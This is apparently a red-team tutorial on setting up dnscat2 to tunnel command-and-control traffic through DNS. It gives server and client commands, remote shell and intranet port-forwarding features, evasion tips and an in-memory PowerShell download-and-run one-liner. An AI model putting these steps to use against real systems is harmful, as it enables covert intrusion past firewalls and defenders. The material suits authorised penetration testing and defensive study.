dnscat2 uses a client server architecture to tunnel traffic via UDP and/or DNS queries. It can be used to bypass firewalls and execute commands on the machine running the client. It can also be used to to tunnel traffic from the server to the internal network of the client through the client itself.

DNS setup

This step is mandatory only if you want to encapsulate traffic in DNS queries instead of relying on direct UDP connections to the dnscat2 server. Before running the server it’s better to setup a nameserver entry in the domain’s DNS in order to be able to tunnel traffic through DNS queries. To do so, use your domain’s DNS dashboard and add a NS entry pointing to a subdomain of your choice and specifying the domain name of the server you will run dnscat2 on.

In the following example I edited notso.pro DNS in order to add an A entry making c2.notso.pro point to 135.181.147.181 and then I added a NS entry making c2.notso.pro the authoritative nameserver of the dns.notso.pro subdomain. Dnscat2 will be run on c2.notso.pro and will listen for DNS queries for dns.notso.pro.

/img/dnscatdns.png

Compilation

The server runs on ruby and can be compiled through:

$ sudo apt-get install ruby-dev
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install

The client is written in C and can be compiled through

$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make

Compiled binaries for both Windows and Linux are available at https://downloads.skullsecurity.org/dnscat2/

Usage

Server

To start dnscat2’s server run

$ cd dnscat2/server/
$ sudo ruby dnscat2.rb DOMAIN

where DOMAIN is the domain for which the host is the nameserver (dns.notso.pro using the previous example)

Troubleshooting

If an Address already in use - bind(2) for "0.0.0.0" port 53 type of error is thrown, check if something is already listening on port 53. On Ubuntu, systemd-resolver listens on a private address on port 53. To bypass this hurdle, specify an interface for dnscat2 to listen on:

$ sudo ruby dnscat2.rb --dns 'host=PUBLIC_IP' dns.notso.pro

where PUBLIC_IP is the IP of an interface reachable from the internet (135.181.147.181 using the previous example). Also, I had a few problems with dnscat2 because of Ubuntu’s ufw firewall. Add a rule to allow dnscat2 to work or just straight up disable it if you are feeling brave.

Take note of the output of the server as it will be needed later

Assuming you have an authoritative DNS server, you can run  
the client anywhere with the following (--secret is optional):  
  
./dnscat --secret=2a0d429795596f95e70b6f87f5ba81ac dns.notso.pro  
  
To talk directly to the server without a domain name, run:  
  
./dnscat --dns server=x.x.x.x,port=53 --secret=2a0d429795596f95e70b6f87f5ba81ac  
  
Of course, you have to figure out <server> yourself! Clients  
will connect directly on UDP port 53.

Client

As previously mentioned, there are two ways of making the client communicate with the server:

  • Direct UDP connection
  • DNS Queries

Direct UDP connection

Direct UDP connections to the dnscat2 server imply that the client must be able to connect to the server directly, which is rarely the case if a firewall is present between the client and the server. To connect using a UDP connection to the server run

$ cd dnscat2/client
$ ./dnscat --dns server=PUBLIC_IP,port=53 --secret=SECRET

where PUBLIC_IP is the IP address of the interface where the dnscat2 server is listening on (135.181.147.181 using the previous example) and SECRET is the pre-shared key generated by the server at runtime (2a0d429795596f95e70b6f87f5ba81ac using the previous example).

DNS Queries

If a firewall which filters internet connections is present, we can rely on DNS queries. These are able to bypass the firewall because the machine dnscat2 client is running on sends them to a legitimate DNS server (e.g. Google’s 8.8.8.8), which in turns sends them to our rogue nameserver, where dnscat2 server is running on. This is how DNS works. To run dnscat2 client in this mode execute

$ cd dnscat2/client
$ ./dnscat --secret=SECRET DOMAIN

where SECRET is the pre-shared key generated by the server at runtime (2a0d429795596f95e70b6f87f5ba81ac using the previous example) and DOMAIN is the domain for which the host is the nameserver (dns.notso.pro using the previous example)

Session

Once executed, a new session is opened on the server

dnscat2> New window created: 1  
Session 1 Security: ENCRYPTED AND VERIFIED!  
(the security depends on the strength of your pre-shared secret!)

To interact with it just run session -i 1.

Commands

A number of commands are available and useful

  • session -i X where X is the session you want to interact with
  • shell which, when run in a specific session, spawns a new session with an interactive shell on the client machine
  • listen LOCALIP:LOCALPORT REMOTEIP:REMOTEPORT which, when run in a specific session, creates a listener on the server’s LOCALIP:LOCALPORT which sends traffic through the tunnel to REMOTEIP:REMOTEPORT, effectively allowing the server to, for example, connect to machines in the client’s intranet

Other commands such as download, upload, etc. are available and can be viewed using the help command while interacting with a specific session. Specific command’s help can be obtained by running COMMAND -h where COMMAND is the command you want help on.

OPSEC considerations

  • dnscat2’s client can be used without the --secret switch, but the traffic will be sent unencrypted
  • the delay command can be used to set a sleep time (in seconds) to slow down dnscat2’s comms and make it more difficult for defenders to catch it
  • to avoid copying dnscat2’s client on Windows machines, a powershell version which can be executed in memory is obtainable at https://github.com/lukebaggett/dnscat2-powershell. The author advises using it on a server started with the --no-cache option. The script supports the -Delay switch.
      PS > iex (iwr 'https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1' -usebasicparsing)`
      PS > Start-Dnscat2 -Domain DOMAIN -PreSharedSecret SECRET